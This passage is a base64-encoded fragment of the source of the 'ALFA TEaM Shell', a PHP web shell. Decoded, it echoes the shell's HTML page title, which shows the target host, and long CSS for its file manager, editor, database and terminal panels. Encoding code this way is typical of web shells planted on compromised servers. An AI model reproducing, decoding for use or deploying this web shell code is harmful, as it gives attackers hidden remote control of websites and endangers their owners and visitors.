XJhdGlvbi1jb3VudDogaW5maW5pdGU7LW1vei1hbmltYXRpb24tdGltaW5nLWZ1bmN0aW9uOiBsaW5lYXI7LW1vei1hbmltYXRpb24tZHVyYXRpb246IDFzOy13ZWJraXQtYW5pbWF0aW9uLW5hbWU6IHNwaW47LXdlYmtpdC1hbmltYXRpb24taXRlcmF0aW9uLWNvdW50OiBpbmZpbml0ZTstd2Via2l0LWFuaW1hdGlvbi10aW1pbmctZnVuY3Rpb246IGxpbmVhcjstd2Via2l0LWFuaW1hdGlvbi1kdXJhdGlvbjogMXM7LW1zLWFuaW1hdGlvbi1uYW1lOiBzcGluOy1tcy1hbmltYXRpb24taXRlcmF0aW9uLWNvdW50OiBpbmZpbml0ZTstbXMtYW5pbWF0aW9uLXRpbWluZy1mdW5jdGlvbjogbGluZWFyOy1tcy1hbmltYXRpb24tZHVyYXRpb246IDFzO2FuaW1hdGlvbi1uYW1lOiBzcGluO2FuaW1hdGlvbi1pdGVyYXRpb24tY291bnQ6IGluZmluaXRlO2FuaW1hdGlvbi10aW1pbmctZnVuY3Rpb246IGxpbmVhcjthbmltYXRpb24tZHVyYXRpb246IDFzOyc7CmVjaG8gJzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPgo8aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+CjxtZXRhIG5hbWU9IlJPQk9UUyIgY29udGVudD0iTk9JTkRFWCwgTk9GT0xMT1ciIC8+CjxsaW5rIGhyZWY9IicuX19zaG93aWNvbignYWxmYW1pbmknKS4nIiByZWw9Imljb24iIHR5cGU9ImltYWdlL3gtaWNvbiIvPgo8dGl0bGU+Li46OiAnLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4nIH4gQUxGQSBURWFNIFNoZWxsIC0gdicuX19BTEZBX1ZFUlNJT05fXy4nLScuX19BTEZBX0NPREVfTkFNRV9fLicgOjouLjwvdGl0bGU+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Jzs/PgouaGxhYmFsZXtjb2xvcjojNjdhYmRmO2JvcmRlci1yYWRpdXM6NHB4O2JvcmRlcjoxcHggc29saWQgIzI3OTc5YjttYXJnaW4tbGVmdDo3cHg7cGFkZGluZzoycHh9I3RibF9zeW1wcGhwIHRye3RleHQtYWxpZ246Y2VudGVyfSNQaHBDb2RlLC5waHAtZXZhbHMtYWNlLC52aWV3X21sX2NvbnRlbnR7cG9zaXRpb246YWJzb2x1dGU7dG9wOjA7cmlnaHQ6MDtib3R0b206MDtsZWZ0OjA7YmFja2dyb3VuZDojMWIyOTJiMjY7dG9wOjUwcHh9LmVkaXRvci12aWV3e3Bvc2l0aW9uOnJlbGF0aXZlO2hlaWdodDoxMDAlfS52aWV3LWNvbnRlbnR7cG9zaXRpb246YWJzb2x1dGU7b3ZlcmZsb3cteTphdXRvO3dpZHRoOjEwMCU7aGVpZ2h0OjkzJX06Oi13ZWJraXQtc2Nyb2xsYmFyLXRyYWNrey13ZWJraXQtYm94LXNoYWRvdzppbnNldCAwIDAgNnB4IHJnYmEoMCwwLDAsLjMpO2JvcmRlci1yYWRpdXM6MTBweDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDAxMTV9Ojotd2Via2l0LXNjcm9sbGJhcnt3aWR0aDoxMHB4O2JhY2tncm91bmQtY29sb3I6IzAwMDExNX06Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1ie2JvcmRlci1yYWRpdXM6MTBweDstd2Via2l0LWJveC1zaGFkb3c6aW5zZXQgMCAwIDZweCByZ2JhKDAsMCwwLC4zKTtiYWNrZ3JvdW5kLWNvbG9yOiMxZTgyYjV9LmVkaXRvci1maWxlLW5hbWV7bWFyZ2luLWxlZnQ6MjlweDttYXJnaW4tdG9wOjRweDtvdmVyZmxvdzpoaWRkZW47dGV4dC1vdmVyZmxvdzplbGxpcHNpczt3aGl0ZS1zcGFjZTpub3dyYXB9LmVkaXRvci1pY29ue3Bvc2l0aW9uOmFic29sdXRlfS5pc19hY3RpdmV7YmFja2dyb3VuZDpyZ2JhKDQ5LDU1LDkzLC43Nyk7Ym9yZGVyLXJhZGl1czoxMHB4fS5oaXN0b3J5LWxpc3R7aGVpZ2h0Ojg4JTtvdmVyZmxvdy15OmF1dG99Lm9wdC10aXRsZXtwb3NpdGlvbjphYnNvbHV0ZTtsZWZ0OjUwJTt0b3A6NTAlO3RyYW5zZm9ybTp0cmFuc2xhdGUoLTUwJSwtNTAlKTtjb2xvcjojMmZkMDUxO2ZvbnQtc2l6ZToyNXB4O2ZvbnQtZmFtaWx5Om1vbm9zcGFjZX0ub3B0aW9uc19taW5fYmFkZ2V7dmlzaWJpbGl0eTpoaWRkZW47dGV4dC1hbGlnbjpjZW50ZXI7cmlnaHQ6MzBweDtjb2xvcjojZmZmO2JhY2tncm91bmQ6IzJhOGEyNDtwYWRkaW5nOjZweDtib3JkZXItcmFkaXVzOjUwJTt3aWR0aDoxNXB4O2hlaWdodDoxNXB4O2Rpc3BsYXk6aW5saW5lLWJsb2NrO3Bvc2l0aW9uOmFic29sdXRlO3RvcDotN3B4fSNjZ2lsb2FkZXItbWluaW1pemVkLCNkYXRhYmFzZV93aW5kb3ctbWluaW1pemVkLCNlZGl0b3ItbWluaW1pemVkLCNvcHRpb25zX3dpbmRvdy1taW5pbWl6ZWR7ZGlzcGxheTpibG9jaztwb3NpdGlvbjpmaXhlZDtyaWdodDotMzBweDt3aWR0aDozMHB4O2hlaWdodDozMHB4O3RvcDozMCU7ei1pbmRleDo5OTk5fS5taW5pbWl6ZWQtd3JhcHBlcntwb3NpdGlvbjpyZWxhdGl2ZTtiYWNrZ3JvdW5kOiMwZTMwNGE7d2lkdGg6NDRweDtoZWlnaHQ6MTMwcHg7Y3Vyc29yOnBvaW50ZXI7Ym9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czo1cHg7Ym9yZGVyLXRvcC1sZWZ0LXJhZGl1czo1cHh9Lm1pbmltaXplZC10ZXh0e3RyYW5zZm9ybTpyb3RhdGUoLTkwZGVnKTtjb2xvcjp3aGVhdDtmb250LXNpemU6eC1sYXJnZTtkaXNwbGF5OmlubGluZS1ibG9jaztwb3NpdGlvbjphYnNvbHV0ZTtyaWdodDotNTFweDt3aWR0aDoxMjlweDt0b3A6LTEwcHg7Ym9yZGVyLXRvcC1sZWZ0LXJhZGl1czo0JTtoZWlnaHQ6NTZweDtwYWRkaW5nOjNweH0uY2xvc2UtYnV0dG9uLC5lZGl0b3ItbWluaW1pemV7aGVpZ2h0OjI2cHg7d2lkdGg6MzhweDtyaWdodDo3cHg7YmFja2dyb3VuZDojMWQ1NjczO2N1cnNvcjpwb2ludGVyO3Bvc2l0aW9uOmFic29sdXRlO2JveC1zaXppbmc6Ym9yZGVyLWJveDtsaW5lLWhlaWdodDo1MHB4O2Rpc3BsYXk6aW5saW5lLWJsb2NrO3RvcDoxN3B4O2JvcmRlci1yYWRpdXM6MTAwcHh9LmVkaXRvci1taW5pbWl6ZXtyaWdodDo1MHB4fS5jbG9zZS1idXR0b246YWZ0ZXIsLmNsb3NlLWJ1dHRvbjpiZWZvcmUsLmVkaXRvci1taW5pbWl6ZTpiZWZvcmV7dHJhbnNmb3JtOnJvdGF0ZSgtNDVkZWcpO2NvbnRlbnQ6IiI7cG9zaXRpb246YWJzb2x1dGU7dG9wOjYzJTtyaWdodDo2cHg7bWFyZ2luLXRvcDotNXB4O21hcmdpbi1sZWZ0Oi0yNXB4O2Rpc3BsYXk6YmxvY2s7aGVpZ2h0OjRweDt3aWR0aDoyN3B4O2JhY2tncm91bmQtY29sb3I6cmdiYSgyMTYsMjA3LDIwNywuNzUpO3RyYW5zaXRpb246YWxsIC4yNXMgZWFzZS1vdXR9LmVkaXRvci1taW5pbWl6ZTpiZWZvcmV7dHJhbnNmb3JtOnJvdGF0ZSgwKX0uY2xvc2UtYnV0dG9uOmFmdGVye3RyYW5zZm9ybTpyb3RhdGUoLTEzNWRlZyl9LmNsb3NlLWJ1dHRvbjpob3ZlcjphZnRlciwuY2xvc2UtYnV0dG9uOmhvdmVyOmJlZm9yZSwuZWRpdG9yLW1pbmltaXplOmhvdmVyOmJlZm9yZXtiYWNrZ3JvdW5kLWNvbG9yOnJlZH0uY2xvc2UtYnV0dG9uOmhvdmVyLC5lZGl0b3ItbWluaW1pemU6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDM5LDY2LDgwLC45Nil9I2NnaWxvYWRlciwjZGF0YWJhc2Vfd2luZG93LCNlZGl0b3IsI29wdGlvbnNfd2luZG93e2Rpc3BsYXk6bm9uZTtwb3NpdGlvbjpmaXhlZDt0b3A6MDt3aWR0aDoxMDAlO2hlaWdodDoxMDAlO3otaW5kZXg6MjB9LmVkaXRvci13cmFwcGVye3dpZHRoOjEwMCU7aGVpZ2h0OjEwMCU7cG9zaXRpb246cmVsYXRpdmU7dG9wOjElfS5lZGl0b3ItaGVhZGVye3dpZHRoOjk3JTtiYWNrZ3JvdW5kOnJnYmEoMjEsNjYsODgsLjkzKTtoZWlnaHQ6MzdweDttYXJnaW4tbGVmdDoxM3B4O3Bvc2l0aW9uOnJlbGF0aXZlO2JvcmRlci10b3AtbGVmdC1yYWRpdXM6MTVweDtib3JkZXItdG9wLXJpZ2h0LXJhZGl1czoxNXB4fS5lZGl0b3ItcGF0aHtwb3NpdGlvbjphYnNvbHV0ZTtmb250LXNpemU6eC1sYXJnZTttYXJnaW4tbGVmdDoxMHB4O3RvcDo2cHg7Y29sb3I6IzAwZmY3Zn0uZWRpdG9yLW1vZGFse3Bvc2l0aW9uOnJlbGF0aXZlO3RvcDowO2JhY2tncm91bmQtY29sb3I6cmdiYSgwLDEsMjMsLjk1KTtoZWlnaHQ6OTAlO21hcmdpbi1sZWZ0OjIwJTttYXJnaW4tcmlnaHQ6MiU7Ym9yZGVyOjJweCAjMGUzMDRhIHNvbGlkfS5lZGl0b3ItZXhwbG9yZXJ7d2lkdGg6MTklO2hlaWdodDo5MCU7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDAsMSwyMywuOTQpO3Bvc2l0aW9uOmFic29sdXRlO3otaW5kZXg6MjtsZWZ0OjElO2JvcmRlcjoycHggIzBlMzA0YSBzb2xpZH0uZWRpdG9yLWNvbnRyb2xsZXJ7cG9zaXRpb246cmVsYXRpdmU7dG9wOi0xM3B4fS5maWxlLWhvbGRlcntwb3NpdGlvbjpyZWxhdGl2ZTt3aWR0aDoxMDAlO2hlaWdodDozMHB4fS5maWxlLWhvbGRlcj4uaGlzdG9yeXtwb3NpdGlvbjphYnNvbHV0ZTtjb2xvcjojMDNiM2EzO2N1cnNvcjpwb2ludGVyO2xlZnQ6NXB4O2ZvbnQtc2l6ZToxOHB4O2ZvbnQtZmFtaWx5OnNhbnMtc2VyaWY7d2lkdGg6ODklO2hlaWdodDoxMDAlO3otaW5kZXg6Mztib3JkZXItcmFkaXVzOjEwcHg7dHJhbnNpdGlvbjpiYWNrZ3JvdW5kLWNvbG9yIC42cyBlYXNlLW91dH0uZmlsZS1ob2xkZXI+Lmhpc3RvcnktY2xvc2V7ZGlzcGxheTpibG9jaztvcGFjaXR5OjA7cG9zaXRpb246YWJzb2x1dGU7cmlnaHQ6MnB4O3dpZHRoOjIwcHg7dG9wOjRweDt0ZXh0LWFsaWduOmNlbnRlcjtjdXJzb3I6cG9pbnRlcjtjb2xvcjojZmZmO2JhY2tncm91bmQ6cmVkO2JvcmRlci1yYWRpdXM6MTAwcHg7Zm9udC1mYW1pbHk6bW9ub3NwYWNlO3otaW5kZXg6MTA7dHJhbnNpdGlvbjpvcGFjaXR5IC42cyBlYXNlLW91dDtmb250LXNpemU6MTVweDtoZWlnaHQ6MTlweH0uZmlsZS1ob2xkZXI+Lmhpc3Rvcnk6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNjQ2NDY0fS5lZGl0b3ItZXhwbG9yZXI+LmhoZWFkZXJ7cG9zaXRpb246cmVsYXRpdmU7Y29sb3I6IzE0ZmYwNztib3JkZXItYm90dG9tOjJweCAjMjA2YWEyIHNvbGlkO3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtZmFtaWx5OnNhbnMtc2VyaWY7bWFyZ2luLWJvdHRvbToxMHB4O2hlaWdodDo1NXB4fS5lZGl0b3Itc2VhcmNoe3Bvc2l0aW9uOmFic29sdXRlO2JvdHRvbTo3cHg7bGVmdDozMXB4fS5oaGVhZGVyLXRleHR7cG9zaXRpb246YWJzb2x1dGU7bGVmdDo4cHg7dG9wOjJweH0uaGlzdG9yeS1jbGVhcntwb3NpdGlvbjphYnNvbHV0ZTtyaWdodDo4cHg7dG9wOjJweDtjdXJzb3I6cG9pbnRlcn0uZWRpdG9yLWJvZHl7cG9zaXRpb246cmVsYXRpdmU7bWFyZ2luLWxlZnQ6M3B4O2hlaWdodDoxMDAlfS5lZGl0b3ItYW5pbS1jbG9zZXstd2Via2l0LWFuaW1hdGlvbjplZGl0b3JDbG9zZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7LW1vei1hbmltYXRpb246ZWRpdG9yQ2xvc2UgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzOy1tcy1hbmltYXRpb246ZWRpdG9yQ2xvc2UgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzO2FuaW1hdGlvbjplZGl0b3JDbG9zZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHN9QGtleWZyYW1lcyBlZGl0b3JDbG9zZXswJXt2aXNpYmlsaXR5OjE7b3BhY2l0eToxfTEwMCV7dmlzaWJpbGl0eTowO29wYWNpdHk6MH19LmVkaXRvci1hbmltLW1pbmltaXpley13ZWJraXQtYW5pbWF0aW9uOmVkaXRvck1pbmltaXplIC44cyBlYXNlLWluLW91dCBmb3J3YXJkczstbW96LWFuaW1hdGlvbjplZGl0b3JNaW5pbWl6ZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7LW1zLWFuaW1hdGlvbjplZGl0b3JNaW5pbWl6ZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7YW5pbWF0aW9uOmVkaXRvck1pbmltaXplIC44cyBlYXNlLWluLW91dCBmb3J3YXJkc31Aa2V5ZnJhbWVzIGVkaXRvck1pbmltaXplezAle3JpZ2h0OjA7b3BhY2l0eToxfTEwMCV7cmlnaHQ6LTIwMDBweDtvcGFjaXR5OjB9fS5lZGl0b3ItYW5pbS1zaG93ey13ZWJraXQtYW5pbWF0aW9uOmVkaXRvclNob3cgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzOy1tb3otYW5pbWF0aW9uOmVkaXRvclNob3cgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzOy1tcy1hbmltYXRpb246ZWRpdG9yU2hvdyAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7YW5pbWF0aW9uOmVkaXRvclNob3cgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzfUBrZXlmcmFtZXMgZWRpdG9yU2hvd3swJXtyaWdodDotMjAwMHB4O29wYWNpdHk6MH0xMDAle3JpZ2h0OjA7b3BhY2l0eToxfX0ubWluaW1pemVkLXNob3d7LXdlYmtpdC1hbmltYXRpb246bWluaW1pemVTaG93IC44cyBlYXNlLWluLW91dCBmb3J3YXJkczstbW96LWFuaW1hdGlvbjptaW5pbWl6ZVNob3cgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzOy1tcy1hbmltYXRpb246bWluaW1pemVTaG93IC44cyBlYXNlLWluLW91dCBmb3J3YXJkczthbmltYXRpb246bWluaW1pemVTaG93IC44cyBlYXNlLWluLW91dCBmb3J3YXJkc31Aa2V5ZnJhbWVzIG1pbmltaXplU2hvd3swJXtyaWdodDotMzBweDtvcGFjaXR5OjB9MTAwJXtyaWdodDowO29wYWNpdHk6MX19Lm1pbmltaXplZC1oaWRley13ZWJraXQtYW5pbWF0aW9uOm1pbmltaXplSGlkZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7LW1vei1hbmltYXRpb246bWluaW1pemVIaWRlIC44cyBlYXNlLWluLW91dCBmb3J3YXJkczstbXMtYW5pbWF0aW9uOm1pbmltaXplSGlkZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7YW5pbWF0aW9uOm1pbmltaXplSGlkZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHN9QGtleWZyYW1lcyBtaW5pbWl6ZUhpZGV7MCV7cmlnaHQ6MDtvcGFjaXR5OjF9MTAwJXtyaWdodDotMzBweDtvcGFjaXR5OjB9fS5zb2xldmlzaWJsZS10ZXh0OmhvdmVyey13ZWJraXQtdGV4dC1zaGFkb3c6MCAwIDI1cHggIzBmMDstbW96LXRleHQtc2hhZG93OjAgMCAyNXB4ICMwZjA7LW1zLXRleHQtc2hhZG93OjAgMCAyNXB4ICMwZjA7dGV4dC1zaGFkb3c6MCAwIDI1cHggIzBmMH0udXBkYXRlLWhvbGRlcntwb3NpdGlvbjpmaXhlZDt0b3A6MDtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMCwyNCwyOSwuNzIpO3dpZHRoOjEwMCU7aGVpZ2h0OjEwMCV9LnVwZGF0ZS1jb250ZW50e3Bvc2l0aW9uOnJlbGF0aXZlfS51cGRhdGUtY29udGVudD5he3RleHQtZGVjb3JhdGlvbjpub25lO3Bvc2l0aW9uOmFic29sdXRlO2NvbG9yOnJnYmEoMTAzLDE2Nyw0NywuNzcpO2xlZnQ6MjQlO21hcmdpbi10b3A6NyU7Zm9udC1zaXplOjQwcHh9LnVwZGF0ZS1jbG9zZXtwb3NpdGlvbjphYnNvbHV0ZTtyaWdodDowO21hcmdpbi1yaWdodDoyM3B4O3RvcDoxMHB4O2ZvbnQtc2l6ZToyN3B4O2JhY2tncm91bmQtY29sb3I6IzEzMGY1MDt3aWR0aDo1JTtib3JkZXItcmFkaXVzOjEwMHB4O2N1cnNvcjpwb2ludGVyO2JvcmRlcjoycHggIzBlMjY1YSBzb2xpZH0udXBkYXRlLWNsb3NlOmhvdmVye2JvcmRlcjoycHggIzI1ZmYwMCBzb2xpZDtjb2xvcjpyZWR9LmZpbGVzdG9vbHN7aGVpZ2h0OmF1dG87d2lkdGg6YXV0bztjb2xvcjojNjdhYmRmO2ZvbnQtc2l6ZToxMnB4O2ZvbnQtZmFtaWx5OlZlcmRhbmEsR2VuZXZhLHNhbnMtc2VyaWZ9QC1tb3otZG9jdW1lbnQgdXJsLXByZWZpeCgpeyNzZWFyY2gtaW5wdXR7d2lkdGg6MTczcHh9LmVkaXRvci1wYXRoe3RvcDozcHh9fS5maWx0ZXJzLWhvbGRlcntwYWRkaW5nOjVweDtwYWRkaW5nLWxlZnQ6MTBweH0uZmlsdGVycy1ob2xkZXIgaW5wdXR7d2lkdGg6MjAwcHh9LmZpbHRlcnMtaG9sZGVyIHNwYW57Y29sb3I6IzhiYzdmN30jcmlnaHRjbGlja19tZW51e3dpZHRoOjE3NXB4O3Zpc2liaWxpdHk6aGlkZGVuO29wYWNpdHk6MDtwb3NpdGlvbjpmaXhlZDtiYWNrZ3JvdW5kOiMwZjMwNGE7Y29sb3I6IzU1NTtmb250LWZhbWlseTpzYW5zLXNlcmlmO2ZvbnQtc2l6ZToxMXB4Oy13ZWJraXQtdHJhbnNpdGlvbjpvcGFjaXR5IC41cyBlYXNlLWluLW91dDstbW96LXRyYW5zaXRpb246b3BhY2l0eSAuNXMgZWFzZS1pbi1vdXQ7LW1zLXRyYW5zaXRpb246b3BhY2l0eSAuNXMgZWFzZS1pbi1vdXQ7LW8tdHJhbnNpdGlvbjpvcGFjaXR5IC41cyBlYXNlLWluLW91dDt0cmFuc2l0aW9uOm9wYWNpdHkgLjVzIGVhc2UtaW4tb3V0Oy13ZWJraXQtYm94LXNoYWRvdzotMXB4IDAgMTdweCAwICM4YjhiOGM7LW1vei1ib3gtc2hhZG93Oi0xcHggMCAxN3B4IDAgIzhiOGI4Yztib3gtc2hhZG93Oi0xcHggMCAxN3B4IDAgIzhiOGI4YztwYWRkaW5nOjA7Ym9yZGVyOjFweCBzb2xpZCAjNzM3MzczO2JvcmRlci1yYWRpdXM6MTBweH0jcmlnaHRjbGlja19tZW51IGF7ZGlzcGxheTpibG9jaztjb2xvcjojZmZmO2ZvbnQtd2VpZ2h0OmJvbGRlcjt0ZXh0LWRlY29yYXRpb246bm9uZTtwYWRkaW5nOjZweCA4cHggNnB4IDMwcHg7cG9zaXRpb246cmVsYXRpdmU7cGFkZGluZy1sZWZ0OjQwcHh9I3JpZ2h0Y2xpY2tfbWVudSBhIGkuZmEsI3JpZ2h0Y2xpY2tfbWVudSBhIGltZ3toZWlnaHQ6MjBweDtmb250LXNpemU6MTdweDt3aWR0aDoyMHB4O3Bvc2l0aW9uOmFic29sdXRlO2xlZnQ6NXB4O3RvcDoycHg7cGFkZGluZy1sZWZ0OjVweH0jcmlnaHRjbGlja19tZW51IGEgc3Bhbntjb2xvcjojYmNiMWIzO2Zsb2F0OnJpZ2h0fSNyaWdodGNsaWNrX21lbnUgYTpob3Zlcntjb2xvcjojZmZmO2JhY2tncm91bmQ6IzM4NzlkOX0jcmlnaHRjbGlja19tZW51IGhye2JvcmRlcjoxcHggc29saWQgI2ViZWJlYjtib3JkZXItYm90dG9tOjB9LmNsLXBvcHVwLWZpeGVke3Bvc2l0aW9uOmZpeGVkO3RvcDowO2xlZnQ6MDt3aWR0aDoxMDAlO2hlaWdodDoxMDAlO2JhY2tncm91bmQ6IzIwMWUxZWFkfSNzaG9ydGN1dE1lbnUtaG9sZGVye3Bvc2l0aW9uOmFic29sdXRlO3RvcDo0MCU7bGVmdDo1MCU7dHJhbnNmb3JtOnRyYW5zbGF0ZSgtNTAlLC01MCUpO2JhY2tncm91bmQ6IzFmMWUxZWRiO2hlaWdodDoxOTBweDt3aWR0aDo1MDBweDtjb2xvcjojZmZmfSNzaG9ydGN1dE1lbnUtaG9sZGVyPi5wb3B1cC1oZWFke2JhY2tncm91bmQ6IzIwNzE3NDtwYWRkaW5nOjZweDtib3JkZXItdG9wOjEwcHg7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC1mYW1pbHk6c2Fucy1zZXJpZjtjb2xvcjojZmZmfSNzaG9ydGN1dE1lbnUtaG9sZGVyPmZvcm17cGFkZGluZzoxMHB4fSNzaG9ydGN1dE1lbnUtaG9sZGVyPmZvcm0+bGFiZWx7ZGlzcGxheTpibG9ja30jc2hvcnRjdXRNZW51LWhvbGRlcj5mb3JtPmlucHV0e3dpZHRoOjk5JTtoZWlnaHQ6MjRweDttYXJnaW4tdG9wOjRweDtjb2xvcjojZmZmO291dGxpbmU6MDtmb250LXNpemU6MTZweH0jc2hvcnRjdXRNZW51LWhvbGRlcj4ucG9wdXAtZm9vdHtmbG9hdDpyaWdodDtoZWlnaHQ6MzBweDttYXJnaW4tcmlnaHQ6OHB4fSNzaG9ydGN1dE1lbnUtaG9sZGVyPi5wb3B1cC1mb290PmJ1dHRvbntoZWlnaHQ6MTAwJTtjdXJzb3I6cG9pbnRlcjtjb2xvcjojZmZmO291dGxpbmU6MH0ucGhwLXRlcm1pbmFsLW91dHB1dHtvdmVyZmxvdzphdXRvO2hlaWdodDo4NiU7Ym9yZGVyOjFweCBzb2xpZCAjMWU1NjczO2JvcmRlci1yYWRpdXM6MTBweH0uY21kLWhpc3RvcnktaG9sZGVye3Zpc2liaWxpdHk6aGlkZGVuO29wYWNpdHk6MDtwb3NpdGlvbjphYnNvbHV0ZTtjb2xvcjojZGZmM2Q1O2JhY2tncm91bmQ6IzA5M2Q1ODt0b3A6LTMwMHB4O2hlaWdodDozMDBweDt3aWR0aDpjYWxjKDY5JSArIC0xMXB4KTtib3JkZXItcmFkaXVzOjEwcHggMTBweCAwIDA7bGVmdDpjYWxjKDIlIC0gOXB4KTt0cmFuc2l0aW9uOnZpc2liaWxpdHkgLjVzLG9wYWNpdHkgLjVzIGxpbmVhcn0uY21kLWhpc3RvcnktaG9sZGVyIC5jb21tYW5kcy1oaXN0b3J5LWhlYWRlcntiYWNrZ3JvdW5kOiMzNzUwNGU7dGV4dC1hbGlnbjpjZW50ZXI7Ym9yZGVyLXJhZGl1czoxMHB4IDEwcHggMCAwfS5jbWQtaGlzdG9yeS1pY29ue3dpZHRoOjI3cHg7dG9wOjZweDtsZWZ0OmNhbGMoNjklICsgNXB4KTtwb3NpdGlvbjphYnNvbHV0ZTtjdXJzb3I6cG9pbnRlcn0uaGlzdG9yeS1jbWQtbGluZXtwYWRkaW5nOjRweDtib3JkZXItYm90dG9tOjFweCBkYXNoZWQ7Y3Vyc29yOnBvaW50ZXJ9Lmhpc3RvcnktY21kLWxpbmU6aG92ZXJ7YmFja2dyb3VuZDojOTYxMTExfSNteVVMLCNteVVMIHVse2xpc3Qtc3R5bGUtdHlwZTpub25lfSNteVVMe21hcmdpbjowO3BhZGRpbmc6MH0uYm94e2N1cnNvcjpwb2ludGVyOy13ZWJraXQtdXNlci1zZWxlY3Q6bm9uZTstbW96LXVzZXItc2VsZWN0Om5vbmU7LW1zLXVzZXItc2VsZWN0Om5vbmU7dXNlci1zZWxlY3Q6bm9uZX0uYm94OjpiZWZvcmV7Y29udGVudDoiXDI2MTAiO2NvbG9yOiMwMDA7ZGlzcGxheTppbmxpbmUtYmxvY2s7bWFyZ2luLXJpZ2h0OjZweH0uY2hlY2stYm94OjpiZWZvcmV7Y29udGVudDoiXDI2MTEiO2NvbG9yOiMxZTkwZmZ9Lm5lc3RlZHtkaXNwbGF5Om5vbmV9LmFjdGl2ZXtkaXNwbGF5OmJsb2NrfS5mbGFnLWhvbGRlcj5pbWd7d2lkdGg6MjBweDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7cGFkZGluZy1sZWZ0OjZweH0jb3B0aW9uc193aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLm9wdGlvbnNfaG9sZGVye3Bvc2l0aW9uOnJlbGF0aXZlO2Rpc3BsYXk6bm9uZTtvdmVyZmxvdzphdXRvO21pbi1oZWlnaHQ6MzAwcHg7bWF4LWhlaWdodDpjYWxjKDEwMHZoIC0gMTAwcHgpfSNvcHRpb25zX3dpbmRvdyAuY29udGVudF9vcHRpb25zX2hvbGRlciAub3B0aW9uc19ob2xkZXIgLmhlYWRlcnttaW4taGVpZ2h0OjUwdmh9I29wdGlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX2hvbGRlci5vcHRpb25faXNfYWN0aXZle2Rpc3BsYXk6YmxvY2t9I29wdGlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX3RhYntwYWRkaW5nOjVweDttYXJnaW4tbGVmdDoxNHB4O21hcmdpbi1yaWdodDozMHB4O2JhY2tncm91bmQ6IzAwMDtib3JkZXItYm90dG9tOjdweCBzb2xpZCAjMGYzMDRhO2JvcmRlci1sZWZ0OjdweCBzb2xpZCAjMGYzMDRhO2JvcmRlci1yaWdodDo3cHggc29saWQgIzBmMzA0YTtvdmVyZmxvdy14OmF1dG87d2hpdGUtc3BhY2U6bm93cmFwfSNmaWxlc21hbl90YWJzIC5maWxlc21hbl90YWIgaW1nLCNvcHRpb25zX3dpbmRvdyAuY29udGVudF9vcHRpb25zX2hvbGRlciAub3B0aW9uc190YWIgLnRhYl9uYW1lIGltZywuZWRpdG9yLXRhYi1uYW1lIGltZywuc3FsLXRhYnMgLnNxbC10YWJuYW1lIGltZywudGVybWluYWwtdGFicyAudGVybWluYWwtdGFiIGltZ3t3aWR0aDoxMHB4O3ZlcnRpY2FsLWFsaWduOm1pZGRsZTttYXJnaW4tbGVmdDo1cHh9I2ZpbGVzbWFuX3RhYnMgLmZpbGVzbWFuX3RhYiwjb3B0aW9uc193aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLm9wdGlvbnNfdGFiIC50YWJfbmFtZSwuZWRpdG9yLXRhYi1uYW1lLC5zcWwtdGFicyAuc3FsLW5ld3RhYiwuc3FsLXRhYnMgLnNxbC10YWJuYW1lLC50ZXJtaW5hbC10YWJzIC50ZXJtaW5hbC10YWJ7ZGlzcGxheTppbmxpbmUtYmxvY2s7YmFja2dyb3VuZC1jb2xvcjojMTMzZDUxO2JvcmRlci1yYWRpdXM6NHB4O3BhZGRpbmc6NXB4O2NvbG9yOiNmZmY7bWFyZ2luLXJpZ2h0OjNweDtwYWRkaW5nOjVweDtjdXJzb3I6cG9pbnRlcjttYXJnaW4tYm90dG9tOjFweDt0cmFuc2l0aW9uOmJhY2tncm91bmQtY29sb3IgLjVzfSNmaWxlc21hbl90YWJzIC5maWxlc21hbl90YWJ7bWluLXdpZHRoOjU1cHg7dGV4dC1hbGlnbjpjZW50ZXJ9I2ZpbGVzbWFuX3RhYnMgLmZpbGVzbWFuX3RhYjpob3Zlciwjb3B0aW9uc193aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLm9wdGlvbnNfdGFiIC50YWJfbmFtZTpob3ZlciwuZWRpdG9yLXRhYi1uYW1lOmhvdmVyLC5zcWwtdGFicyAuc3FsLXRhYm5hbWU6aG92ZXIsLnRlcm1pbmFsLXR